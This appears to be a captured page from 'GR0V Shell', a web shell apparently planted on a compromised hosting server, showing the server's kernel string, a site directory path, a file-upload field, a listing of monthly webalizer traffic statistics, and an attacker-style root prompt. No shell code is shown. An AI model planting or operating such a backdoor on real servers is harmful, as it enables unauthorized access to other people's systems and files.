? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/stats/
File Upload :
Current File : /home/admin/domains/happytokorea.net/stats/webalizer.hist

1 2025 14768 7669 656 305557 1 23 4961 2668
2 2024 16102 454 834 13016 1 29 13142 5200
3 2024 17425 1095 1088 30056 1 31 9885 5639
4 2024 11113 1661 805 50089 1 30 6321 3132
5 2024 20561 3878 949 141520 1 31 3111 2586
6 2024 372778 11922 968 653401 1 30 5895 3336
7 2024 337776 9334 1034 527476 1 31 11365 5963
8 2024 245973 6734 1024 373597 1 31 12590 6025
9 2024 32472 2206 1003 81596 1 30 11828 5576
10 2024 27724 1380 867 52128 1 31 11080 5829
11 2024 21973 497 948 11789 1 30 10906 4976
12 2024 10136 468 835 5283 1 31 8024 4248

T1KUS90T
  root-grov@210.1.60.28:~$